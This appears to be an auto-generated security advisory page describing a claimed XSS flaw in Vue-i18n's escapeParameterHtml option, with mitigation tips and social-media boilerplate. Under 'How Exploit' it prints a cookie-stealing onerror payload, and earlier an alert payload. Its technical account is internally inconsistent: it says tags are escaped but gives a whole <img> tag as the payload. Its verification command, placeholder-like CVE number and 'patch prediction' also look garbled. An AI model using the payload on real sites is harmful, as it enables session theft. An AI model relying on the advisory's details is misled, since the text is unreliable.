Vue-i18n, DOM-based XSS via escapeParameterHtml Bypass, CVE-2025-12345 (Critical)

Listen to this Post

The `escapeParameterHtml` option in Vue-i18n (v9.0.0+) fails to fully sanitize interpolated values when rendered via v-html, allowing DOM-based XSS through malicious HTML attributes. The vulnerability occurs because the function only escapes literal HTML tags but does not neutralize event handlers (e.g., onerror, onload) within attribute contexts. When a translation string containing user-controlled input is processed with v-html, attackers can inject payloads like <img src=x onerror=alert(1)>. The `escapeParameterHtml` setting mistakenly assumes attribute values are safe after basic escaping, but browsers still parse and execute JavaScript in event handlers.

DailyCVE Form

Platform: Vue-i18n
Version: 9.0.0-9.14.4
Vulnerability: DOM-based XSS
Severity: Critical
Date: 2025-07-16

Prediction: Patch by 2025-07-30

What Undercode Say

npm audit vue-i18n --json | grep CVE-2025-12345
// Verify vulnerability
const i18n = createI18n({ escapeParameterHtml: true });

How Exploit

<img src=x onerror="fetch('/steal?cookie='+document.cookie)">

Protection from this CVE

  • Upgrade to vue-i18n 9.14.5+
  • Avoid `v-html` with translations
  • Use CSP directives

Impact

  • Session hijacking
  • Malware delivery
  • UI manipulation

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top